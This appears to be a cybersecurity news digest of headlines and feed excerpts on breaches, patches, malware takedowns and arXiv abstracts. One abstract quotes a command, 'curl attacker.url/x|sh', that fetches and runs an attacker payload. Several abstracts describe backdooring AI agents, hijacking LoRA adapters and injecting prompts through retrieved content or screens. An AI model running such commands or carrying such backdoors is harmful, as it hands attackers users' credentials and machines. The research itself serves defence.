Cyber security
8 items · 46 articles in this topic
Exploitation of management and edge products dominated, alongside a large takedown of malware infrastructure. A wave of patches landed for Citrix, PostgreSQL and Red Hat Quay, and a Windows zero-day proof of concept is public.
- 1
TSMC filed an SEC statement disclosing a hacking incident affecting the chipmaker. The summary gives no detail on scope or data involved.
- 2
Enea identified SilentAir, a likely state-level group that hijacked Asian mobile operator equipment to intercept SMS 2FA codes, mainly from Taiwanese users. SMS codes remain interceptable at the carrier level.
- 3
Researcher Nightmare Eclipse released SignDrop, a public proof of concept for a Windows zero-day in the clfs.sys Common Log File System driver that gives local users SYSTEM privileges. No patch is mentioned.
- 4
Citrix patched 12 NetScaler and Secure Access Client flaws, including CVE-2026-120868 (CVSS 9.3) and an authentication bypass.
- 5
PostgreSQL released 18.7, 17.12, 16.16, 15.20 and 14.25, fixing 52 newly disclosed security vulnerabilities and 140+ bugs. A write-up also turns a 22-year-old type confusion bug, CVE-2026-6460, into remote code execution.
- 6
A critical Red Hat Quay flaw lets attackers read and overwrite all private container images in a registry, especially where anonymous access is enabled. Overwritten images are a supply chain risk.
- 7
Attackers breached AI inference provider Fireworks AI and accessed Notion customers' chat transcripts, its second breach in two months. Separately, Apify rotated internal secrets and revoked some third-party OAuth connections after unauthorized access.
- 8
Germany's Bundeswehr grounded Quantum Systems drones after a malicious update reportedly reached military servers. The drones are flying again.
More in Cyber security · 38 articles›
International police operation took down servers for Gootloader, CastleRAT and StealC malware and seized 6.4 million stolen logins.
The Hacker Newsmalwarelaw-enforcementtakedownFeed excerpt
An international police operation took down servers behind Gootloader, CastleRAT and StealC this week. Criminals used the three malware tools to gain access to computers, steal passwords, and launch ransomware attacks. Police also seized about 6.4 million stolen logins belonging to more than 40,000 victims, according to Germany's Federal Criminal Police Office (BKA). Gootloader is a loader:
Hackers Exploit PHP2Shell Flaws in Check Point Gateways to Deploy TSGA Backdoor and Wipe ESXi Files5
Check Point Security Gateways are being exploited via PHP2Shell flaws and a Gaia OS privilege escalation to deploy the TSGA backdoor.
The Hacker Newscvecheck-pointbackdoorexploitesxiFeed excerpt
An unknown threat actor has been observed targeting unpatched Check Point Security Gateways to obtain initial access via the PHP2Shell vulnerabilities and then a previously reported local privilege escalation flaw in Gaia OS to deploy a backdoor called TSGA. The activity, detailed by Check Point, began on October 30, 2026, and targeted Israeli organizations, with a broader follow-up wave
Attackers are exploiting N-able N-central flaws dubbed 4EverAble2Shell and Agent2Shell, compromising 21 servers, 19 of them on Hotfix 2.
The Hacker Newscven-ableexploitationrmmFeed excerpt
N-able on Thursday said it's taking additional precautions in the wake of public disclosure of a new set of flaws tracked as 4EverAble2Shell and Agent2Shell. "We are restricting certain N-central features and integrations," the company said in a Thursday update. "These measures may affect some functionality, but we believe taking additional precautions while remediation is completed is the
Attackers are actively exploiting the N-able N-central zero-day 4EverAble2Shell hours after proof-of-concept release, deploying cryptominers on at least 21 systems.
BleepingComputerzero-dayn-ableexploitedcryptominerFeed excerpt
Hackers are actively exploiting a newly disclosed N-able N-central zero-day vulnerability dubbed "4EverAble2Shell" to compromise servers and deploy cryptocurrency miners, with researchers reporting at least 21 affected systems, including 19 running the company's latest security update. [...]
Apache HTTP Server patches a critical HTTP/2 module flaw allowing unauthenticated remote code execution.
BleepingComputercveapachercepatchFeed excerpt
A critical vulnerability in the HTTP/2 module of Apache HTTP Server could be exploited by an unauthenticated attacker to obtain remote code execution (RCE). [...]
Check Point released emergency hotfixes for a high-severity zero-day exploited since October to gain root access on devices.
BleepingComputerzero-daycheck-pointexploitFeed excerpt
Check Point Software has released emergency hotfixes to address a high-severity flaw that hackers have been exploiting to gain root privileges and establish persistence on vulnerable devices since late October. [...]
Researchers show a LoRA adapter can pass audit on an unquantized base model yet hijack decisions once the base is quantized for deployment.
arXiv cs.CR (Cryptography & Security)llmsupply-chainloraquantizationFeed excerpt
arXiv:2611.14978v1 Announce Type: new Abstract: Third-party low-rank adaptation (LoRA) adapters are tailored to perform decision tasks such as content moderation and function selection. However, in the real world, quantized deployments carry a potential threat in that an adapter can pass an audit with the unquantized base, yet hijack decisions when the same base is quantized for deployment. Demonstrating this threat requires an adapter that preserves benign behavior before quantization, but hijacks decisions afterward. Further, this must hold without modifying the trusted base or knowing the victim's quantization configuration. We therefore present QHijack-LoRA, an adapter-only attack that uses the base model's natural quantization residual to activate decision hijacking. The attacker modifies neither the trusted base model nor the victim's quantization configuration. With QHijack-LoRA, a four-objective training procedure separates full-precision dormancy from quantized target activation, while preserving clean-input behavior. The adapter is trained across several different quantization methods, while adaptive reweighting and residual-direction augmentation extend the attack to uns…
Researchers introduce Genuine PDF Forgeries, exploiting mismatch between certificate validity and visible signature blocks across 23 PDF viewers.
arXiv cs.CR (Cryptography & Security)pdfsignaturesattackFeed excerpt
arXiv:2611.15472v1 Announce Type: new Abstract: Signed PDF documents have legally binding value under frameworks such as the EU's eIDAS regulation. In this work, we present Genuine PDF Forgeries, a novel attack class that focuses on human factors in signature validation. Our attacks target the disconnect between cryptographically verifiable signer certificates and human-visible signature blocks embedded in documents. We analyze our attacks against 23 PDF viewers and validation tools across desktop platforms and the web. We find that nine of the 13 viewers that automatically report signature validity hide authenticated signer information behind additional user interaction. We then evaluate the attack in twin deception-based online studies with 584 EU-based participants. To further validate the impact, we perform a highly tailored real-world attack study with six trials within two privacy-sensitive organizations. Five of six organizational trials accepted requests authenticated using the forged visual identity. In the online studies (total n=584), the most effective attack variant deceives 71.9% of eligible participants on first impression, and 57.3% continue to be deceived even afte…
A ClickFix campaign using a fake Macfinger lure delivers the DownTheDRAIN infostealer to macOS users.
SANS Internet Storm CentermacosinfostealerclickfixmalwareFeed excerpt
Introduction
The DOJ moved against $1.2B in Binance-linked funds as the FBI disrupted a North Korean 'FaceStealer' scam tied to over $400M in theft.
The Registernorth-koreacrypto-theftfbidojFeed excerpt
‘FaceStealer’ scam tied to $400M+ theft, 900+ webcam recordings
A new worm-like malware toolkit called SCKit spreads from customer devices to MSP technicians in ScreenConnect attacks.
BleepingComputermalwaremspscreenconnectwormFeed excerpt
A new worm-like malware toolkit named SCKit was deployed in the recent ScreenConnect attacks targeting managed service providers (MSPs), designed to spread from infected customer devices to MSP technicians' computers and compromise additional managed networks. [...]
Threat actors compromised 4,837 GitHub accounts in the 'wfx-loot' campaign to probe repositories and push secrets-stealing malware.
BleepingComputergithubmalwarecredentialssupply-chainFeed excerpt
A new campaign dubbed 'wfx-loot' has unfolded on GitHub where threat actors used 4,837 compromised accounts to probe 61,764 repositories, open pull requests, and push secrets-stealing malware. [...]
A 22-year-old PostgreSQL type confusion bug, CVE-2026-6460, was developed into remote code execution.
Hacker News (front page)cvepostgresqlrceFeed excerpt
Article URL: https://mehmetince.net/part-3-6-how-i-ended-up-turning-a-22-year-old-postgresql-type-confusion-primitive-into-rce-cve-2026-6460/ Comments URL: https://news.ycombinator.com/item?id=50471761 Points: 56 # Comments: 7
A weekly roundup reports 59 Linux kernel bugs, Falcon spyware, and GSocket backdoors among other threats.
The Hacker NewsrounduplinuxspywarebackdoorFeed excerpt
A search result isn't always safe. An access request isn't always harmless. And a familiar account doesn't always mean a familiar person is using it. Simple things to remember. Yet a surprising amount of this week's trouble starts right there. Attackers are using fake websites, stolen access, and trusted tools to get into places they shouldn't be. AI is helping them build attacks faster, while
Public proof-of-concept SignDrop is a Windows zero-day letting local users gain SYSTEM privileges via the clfs.sys Common Log File System driver.
The Hacker Newszero-daywindowsprivilege-escalationFeed excerpt
Public exploit code released earlier this week claims that a local Windows user can gain SYSTEM privileges through the Common Log File System driver. The proof of concept, called SignDrop, targets a log-authentication feature added to the driver last year. It abuses how clfs.sys creates companion files when a privileged process opens a prepared log, using path redirection to take control of
Europol and nine countries' law enforcement seized hundreds of servers and domains used by Gootloader, CastleRAT, and StealC malware operations.
BleepingComputertakedownmalwareeuropollaw-enforcementFeed excerpt
Europol and law enforcement partners from nine countries have seized hundreds of servers and domains used by the Gootloader, CastleRAT, and StealC malware operations. [...]
Apify rotated critical internal secrets and revoked some third-party OAuth connections after unauthorized access to its internal systems.
BleepingComputerbreachapi-tokensoauthFeed excerpt
Apify has rotated critical internal secrets and revoked some third-party OAuth connections after detecting unauthorized access to its internal systems. [...]
Two NVIDIA Linux graphics driver vulnerabilities, NvRoot and ForgePtr, were published, with 25 more expected, affecting cloud GPU users.
PhoronixcvenvidialinuxdriversFeed excerpt
In addition to Jensen Huang resigning, coincidentally the embargo just expired on the first two of 25 more NVIDIA graphics driver security vulnerabilities coming. ForgePtr and NvRoot are particularly volatile for those renting GPU slices in the cloud...
Microsoft warned that November 2026 security updates may break printing for documents with complex formatting.
BleepingComputermicrosoftpatchprintingFeed excerpt
Microsoft warned customers earlier this week that the November 2026 security updates may break printing for documents with complex formatting. [...]
Police arrested 354 suspects in an international operation against buyers and vendors on five dark web marketplaces.
BleepingComputerlaw-enforcementdark-webcybercrimeFeed excerpt
Authorities arrested 354 suspects in a joint international operation targeting vendors and buyers on the Archetyp, Nemesis, Tor2Door, Bohemia, and Kingdom dark web marketplaces. [...]
OverServe presents resource amplification attacks where a malicious SaaS tenant exploits agent completion decisions to waste provider model and tool resources.
arXiv cs.CR (Cryptography & Security)llm-agentsdossaasFeed excerpt
arXiv:2611.14808v1 Announce Type: new Abstract: Advances in large language models (LLMs) are enabling software-as-a-service (SaaS) providers to automate longer business workflows with agents. In subscription-based SaaS deployments, model and tool calls consume provider resources without additional customer payments. Because the agent autonomously decides when to stop, a malicious tenant can send a prompt to the agent, exploiting its completion decisions to extend execution and waste provider resources. In this paper, we present OverServe, a multi-agent framework for constructing such attacks against SaaS agents. OverServe co-designs Model Context Protocol (MCP) status tools and completion-confirmation prompts for the attacker. Each tool call returns accurate status and terminates normally, yet the agent may repeatedly check an unfinished condition to satisfy the prompt. This consumes the SaaS provider's resources even after the original business task is completed. OverServe constructs service-specific tool--prompt pairs and uses separate tool and prompt reviews to guide candidate pair selection. Tested tool specifications trigger no alerts in the evaluated MCP scanners. We evaluate…
Researchers show adversaries can inject fabricated risk warnings into low-trust content to make tool-using AI agents over-abstain from legitimate tasks.
arXiv cs.CR (Cryptography & Security)prompt-injectionllm-agentsavailabilityFeed excerpt
arXiv:2611.14864v1 Announce Type: new Abstract: An AI agent's decision not to act can itself become an attack surface. We study warning-induced over-abstention, an availability attack in which adversaries place fabricated risk warnings in low-trust content to prevent legitimate task completion. Our central premise is that safe abstention requires evaluating both the claimed risk and the authority of the evidence supporting it. We develop controlled counterfactual task variants that vary risk content, source provenance, and warning wording, and evaluate a Verify-Before-Abstain protocol that corroborates warnings against authoritative records or the underlying content. Across three model families and 51 injectable AgentAbstain task pairs, caution-first prompting amplifies the attack. For Gemini, induced over-abstention rises from $9.8\%$ to $86.3\%$, despite unchanged clean-task completion. Matched wording comparisons further reveal sensitivity to warning language, with substantial variation across models and environments. Provenance-aware verification improves legitimate completion, while forgery and sensitive-content controls expose its dependence on authoritative evidence and its …
Researchers show legitimate LLM unlearning requests can exploit knowledge superposition to remove unrelated entities, and propose a superposition-aware defense.
arXiv cs.CR (Cryptography & Security)llmunlearningprivacyFeed excerpt
arXiv:2611.15013v1 Announce Type: new Abstract: Machine unlearning lets the owner of large language models (LLMs) remove specific entities from a trained model without retraining from scratch. Existing machine unlearning methods focus on removing the requested entities while maintaining utility. However, we observe that the representations of distinct entities in an LLM may overlap in shared parameter subspaces, a phenomenon known as knowledge superposition. Removing one entity may then affect other entities. This exposes a new security threat: legitimate unlearning requests can be exploited to remove sensitive entities that were never requested. This threat is unlike data poisoning or backdoor attacks. We define the attack as the Proxy Unlearning Attack (PUA), which selects removable proxy entities superposed with a sensitive target. The attack can even occur unintentionally, when benign users accidentally remove entities superposed with a sensitive one. In response, we propose Superposition-Aware Unlearning Protection (SAUP), a general defense framework that can be applied to unlearning requests to ensure a correct removal. SAUP performs in two stages. Before unlearning, it uses …
A fabricated news article injected into retrieval reverses 74% to 82% of opposing forecasts from LLM forecasting systems on stock and prediction-market questions.
arXiv cs.CR (Cryptography & Security)prompt-injectionllmforecastingFeed excerpt
arXiv:2611.15102v1 Announce Type: new Abstract: LLMs are increasingly used for forecasting, and the best forecasting systems retrieve news as evidence to strengthen their predictions. This also opens them to attack. We study the weakest attacker of this kind, who knows only the forecasting question and publishes fabricated news articles, with no access to the model, the retriever or its queries. We evaluate how far this attack reaches on stock questions and real prediction-market questions. Once the article is in the model's context, it reverses 74% to 82% of the forecasts that opposed it, on every frontier model we tested. The model cannot verify the fabrication and follows it anyway. Retrieval is the attack's entry point, and the systems built to retrieve well are the most exposed: the architectures of two leading deployed forecasting systems, whose agents search for every related article, retrieve the fabricated one in about 90% of runs. Accuracy cannot reveal this harm: the attacked forecaster is right when the attacker's direction turns out right and wrong otherwise, so its average accuracy barely changes while its forecasts follow the attacker's guess. We also propose a secon…
The Lazarus method backdoors AI agents by editing fewer than ten dormant neurons, triggering malicious commands on a specific date without training.
arXiv cs.CR (Cryptography & Security)backdoorllm-agentsmodel-weightsFeed excerpt
arXiv:2611.15118v1 Announce Type: new Abstract: Imagine an AI agent that aces every relevant evaluation, but when it sees 2027-01-01 in the terminal, it runs curl attacker.url/x|sh, handing an attacker your credentials and your machine. Agents now run unattended for hours with privileged system access, making the integrity of model weights a security concern whether a model comes from third parties or is developed internally. We show that a method we call Lazarus can turn a capable model into such a sleeper agent by editing fewer than ten neurons, without model training. Lazarus edits dormant neurons in the model's final feed-forward block, forcing each to promote a payload token through its contribution to the residual stream, when a trigger is present. A $P$-token payload therefore requires about $P$ neurons. The trigger can be an ordinary string appearing anywhere in the agent's context. The edited weights are set in closed form and can be refined in isolation with a few hundred gradient steps. The core insight that dormant neurons can be individually edited and chained to produce a multi-token payload was discovered autonomously by Claude Code with Opus 4.5 in February 2026. On…
Study of about 382 thousand online references for 55 thousand vulnerabilities finds referenced information sources are statistically dissimilar.
arXiv cs.CR (Cryptography & Security)vulnerabilitiesresearchcveFeed excerpt
arXiv:2611.15462v1 Announce Type: new Abstract: The dissemination of information about known software vulnerabilities occurs online in various ways. Everything from email and development systems to social media are used. Given this variety and a dataset of about 382 thousand online references for about 55 thousand vulnerabilities, the paper demonstrates that the referenced online information sources tend to be mostly dissimilar statistically. The mean cosine similarity between them is only 0.22. Interestingly, the amounts of online references neither increase nor decrease similarity between the online information sources. In contrast, vulnerabilities primarily associated with GitHub and programming language ecosystems tend to have more dissimilar online references than other vulnerabilities. Also vulnerability reports, whether in bug tracking systems or bug bounty platforms, tend to increase dissimilarity. With these empirical results, the paper contributes to the efforts to narrow an enduring knowledge gap related to the online tracking and associated traceability of software vulnerabilities.
Paper proposes Intent-Aware Security to flag AI agent actions that drift from their deployed purpose despite valid permissions.
arXiv cs.CR (Cryptography & Security)ai-agentsprompt-injectionresearchFeed excerpt
arXiv:2611.16122v1 Announce Type: new Abstract: AI agents increasingly access enterprise data, invoke powerful tools, and act with limited human oversight. Existing security defenses primarily detect prompt injection, harmful outputs, or suspicious behavior, but do not determine whether an agent remains faithful to the purpose for which it was deployed. An action may contain no attack pattern and stay within granted permissions while still violating the agent's role, organizational constraints, or purpose. We introduce Intent- Aware Security, a framework that treats trusted agent intent as a first-class security object. We define Intent Preservation and Intent Drift, and operationalize them through an Intent Profile: an agent-specific representation extracted from organizational, role, and developer intent. We further introduce an Intent-Aware benchmark of 887 validated samples across 35 agents, built by a generation procedure that fixes ground-truth labels before LLM realization, and four Intent Profile-based protections: pre-execution detection, post-execution detection, input alignment, and system-prompt hardening. Across all evaluations, Intent Profile-based protection outperfo…
Study evaluates voltage and clock glitching fault injection attacks against five Q-learning variants on a ChipWhisperer platform.
arXiv cs.CR (Cryptography & Security)fault-injectionreinforcement-learninghardwareFeed excerpt
arXiv:2611.16151v1 Announce Type: new Abstract: Hardware fault injection attacks threaten machine learning systems, yet their impact on reinforcement learning (RL) has received little attention despite the use of RL in safety-critical applications. This paper presents a security analysis of Q-Learning implementations under voltage and clock glitching attacks on a ChipWhisperer platform, evaluating five variants: Standard, Robust, Resilient, Linear, and Deep Q-Learning. In standard Q-Table implementations, faults corrupt reward computation, action selection, and Q-value updates during learning, and change the selected action during inference. Robust Q-Learning does not prevent these attacks: NaN and infinite values injected during learning persist in the Q-table, and its greedy policy uses the same code as standard Q-Learning. This paper also evaluates a Resilient Q-Learning variant that applies triple modular redundancy with majority voting. It corrects corruption of a single Q-table copy, but inputs shared by the copies, such as the reward, and the voting code itself remain outside its protection. The analysis extends to Linear and Deep Q-Learning, where faults corrupt stored weig…
PolicySniff shows a co-resident attacker can infer an LLM agent's approval-policy setting by timing shared-GPU execution.
arXiv cs.CR (Cryptography & Security)side-channelllm-agentsgpuFeed excerpt
arXiv:2611.16158v1 Announce Type: new Abstract: LLM agents apply approval settings, such as whether to ask before a consequential tool call, through instructions in their system prompt, and operators keep these settings confidential by restricting access to prompts and responses. Audits check whether an agent obeys its setting, not whether a neighboring process can infer which setting is deployed. PolicySniff infers an agent's approval-policy state through shared-GPU execution. A co-resident attacker that knows the candidate settings and the task first profiles both settings, then times only its own GPU kernels while the agent processes the task. The policy prefix is cached before capture, so the attacker observes processing of a task suffix that is identical under both settings. On an eager sparse mixture-of-experts runtime, where each selected expert runs as separate work, a frozen and blinded study identified the deployed setting at 94.17% balanced accuracy on its primary estimand. Across all authorization conditions, accuracy was 88.82% on tasks for which both settings produce the same decision and 91.98% on tasks where they differ. Hardware replays of expert routing show that …
Small open-weight 4B decision model with a harness is used to find memory-safety vulnerabilities in C and C++ open-source projects.
arXiv cs.CR (Cryptography & Security)vulnerability-discoveryllmmemory-safetyFeed excerpt
arXiv:2611.16565v1 Announce Type: new Abstract: We ask whether small, open-weight decision models can support vulnerability discovery in open-source software at scale and what the surrounding system must provide. These models answer a typed question in one forward pass, returning scores for the permitted answers rather than text. Our harness selects widely packaged C and C++ projects and uses deterministic incomplete-fix miners and shape localizers to decide where to look. Intern-Decision-4B, a 4B-parameter open-weight decision model, then scores every candidate function. The scores rank the queues rather than accept or reject candidates, apart from a low reach-score floor that some queues kept. The search uses no frontier model. Alone, the model is weak: it separates vulnerable from benign functions with AUC 0.73, but a vulnerable function from its own patch with only 0.56. It is more useful for ordering candidates. On 75 public CVEs from projects without any of our findings, the fixed function reached its repository's top 25 in 21% of cases, 1.4 times as often as under random order of the same queues. Recall is bounded mainly by where the localizers look. On the campaign's own qu…
MobileProbe proposes adaptive trajectory-aware evaluation of environmental injection attacks against mobile GUI agents.
arXiv cs.CR (Cryptography & Security)prompt-injectionmobile-agentsbenchmarkFeed excerpt
arXiv:2611.16693v1 Announce Type: new Abstract: Mobile GUI agents read the screen of a phone and operate apps on a user's behalf to complete multi-step tasks such as online shopping or messaging. Because the agent acts on whatever the screen shows, an attacker can embed malicious instructions into ordinary UI content and redirect its actions. We refer to this threat as environmental injection attack (EIA). Existing benchmarks measure this risk by pinning hand-crafted payloads to a fixed step of a fixed task. This approach faces two limitations. First, each payload is bound to one task in one app and does not transfer without manual redesign. Second, agents given the same task may follow different routes, so an agent that never reaches the injected page is recorded as safe without being tested. This insufficient test coverage can cause fixed-point benchmarks to underestimate the security risk of deployed mobile agents. In this work, we propose MobileProbe, a trajectory-aware red-teaming framework that evaluates mobile agents adaptively. MobileProbe discovers attacker-controllable content surfaces through automated pentesting, localizes vulnerable decision points along the agent's tr…
Researchers show FPGA anti-tamper sensors, both hard-IP and soft-IP, can be defeated by glitching attacks, undermining key zeroization defenses.
arXiv cs.CR (Cryptography & Security)fpgahardware-securityfault-injectionFeed excerpt
arXiv:2611.17065v1 Announce Type: new Abstract: FPGAs are widely used in mission-critical systems, where a successful physical attack can have serious consequences. This makes resilience to such attacks a critical security requirement. To defend against active physical attacks, such as glitching attacks, modern FPGAs rely on on-chip sensors that detect these disturbances and trigger responses, such as key zeroization, before a device is compromised. These sensors are deployed as both hard-IP blocks and soft-IP cores, and their trustworthiness is often taken for granted. In this work, we challenge that assumption and argue that the sensors themselves are a fragile and underexplored attack surface. Drawing on recent results, we show that both the detection and response mechanisms of state-of-the-art sensors can be bypassed without invasive tampering. We further argue that sensor reliability is reduced by factors rarely captured in threat models, including the spatial and frequency-dependent behavior of the system's power delivery network, which can steer a fault to a target while sparing nearby sensors; environmental conditions such as temperature, which shift detection thresholds; a…
Study finds CodeQL JavaScript taint tracking misses vulnerabilities after natural, vulnerability-preserving code rewrites generated by an LLM.
arXiv cs.CR (Cryptography & Security)codeqlsasttaint-analysisFeed excerpt
arXiv:2611.17123v1 Announce Type: new Abstract: Static application security testing (SAST) tools such as CodeQL serve as security gates in continuous integration and code review, and a gate is also read in reverse. When a previously reported alert disappears after a change, developers and the tools around them often take the vulnerability to be gone. That inference holds only if the analyzer is robust to changes that keep the vulnerability. We test this robustness for CodeQL's JavaScript taint tracking with natural, vulnerability-preserving rewrites. A large language model, given only the alert CodeQL exposes and no knowledge of its implementation, rewrites one function along a reported flow as a plausible maintenance change, and we verify by manual audit and controlled experiments that the flaw survives and the alert does not. On 172 flows that CodeQL detects in real npm vulnerabilities, three rewrites per flow silence 26.2% of them, at about USD 0.51 per silenced flow. The same generator, asked only to refactor the same functions with no knowledge of the alert, silences none of them. Every silencing rewrite traces to one of seven gaps at the library-modeling boundary, and 64 of t…
A Podqi study found ChatGPT, Gemini, and Perplexity often direct shoppers to fake or risky retail websites for 151 brands.
The Vergeai-chatbotsfraudphishingFeed excerpt
Shoppers using AI chatbots to research products or find places to buy items could be directed to imposters and other risky websites, a new study found. The study conducted by IP protection firm Podqi and shared exclusively with The Verge prompted ChatGPT, Gemini, and Perplexity with a handful of shopping-related questions involving a selection of 151 brands. Questions included "What are the top websites for buying [brand]?"; "Where can I find [brand] online?"; and "Does [brand] ship internationally? What are their regional websites?" The test ran over the course of two testing periods in September and asked about 151 small and large compani … Read the full story at The Verge.
VulnCheck critiques Anthropic's Project Glasswing, finding only 19.4% of 37,966 reported findings public and many marked duplicates.
LWN.netvulnerability-reportsanthropicopen-sourceFeed excerpt
Patrick Garrity of VulnCheck has written a blog post that looks at vulnerabilities found by Anthropic's Project Glasswing since it launched on April 7, and finds it wanting: Of the 37,966 findings Anthropic reports, only 7,349 (19.4%) have been made public. Just 217 of those have been marked fixed. The more glaring number is that 4.4% (1,654) of the project's findings have already been marked as duplicates, 7.5x more duplicates than fixes. On top of that, 419 findings have been withdrawn. It seems odd that the ledger now claims a 94.2% true positive rate, up from 90.8% at launch, when more findings have been withdrawn or marked as duplicates than fixed, likely a feedback loop missing to the triage rates listed as "True Positives". [...] AI is a valuable tool for finding vulnerabilities, and I'm not discounting that. But seven months in, the evidence still doesn't match the launch narrative. The CVEs are a sliver of this year's total, almost none are being exploited, fixes have stalled while duplicates and withdrawals pile up, and the triage burden is shifting onto the open source maintainers Glasswing promised to help. The receipts keep coming in. They still don't reconcile.
Island researchers found 186 lookalike AI-tool domains serving ClickFix lures, browser malware, and search hijackers under the TypoPrompting name.
The Hacker NewsphishingmalwareclickfixFeed excerpt
Cybersecurity researchers have found that lookalike domains masquerading as artificial intelligence (AI) tools are being used to serve ClickFix-style lures, browser-hijacking malware, and a set of extensions that hijack user searches. This delivery pattern has been codenamed TypoPrompting by Island. "AI-app lookalikes that turn an attempt to reach a familiar tool into a prompt to verify,
Humble Bundle reportedly weakened much of its security through vibe-coded development, according to a Lobsters post.
LobsterssecuritywebvibecodingFeed excerpt
Comments
An essay argues that AI security issues are fundamentally social engineering problems rather than purely technical ones.
Lobstersai-securityprompt-injectionsocial-engineeringFeed excerpt
Comments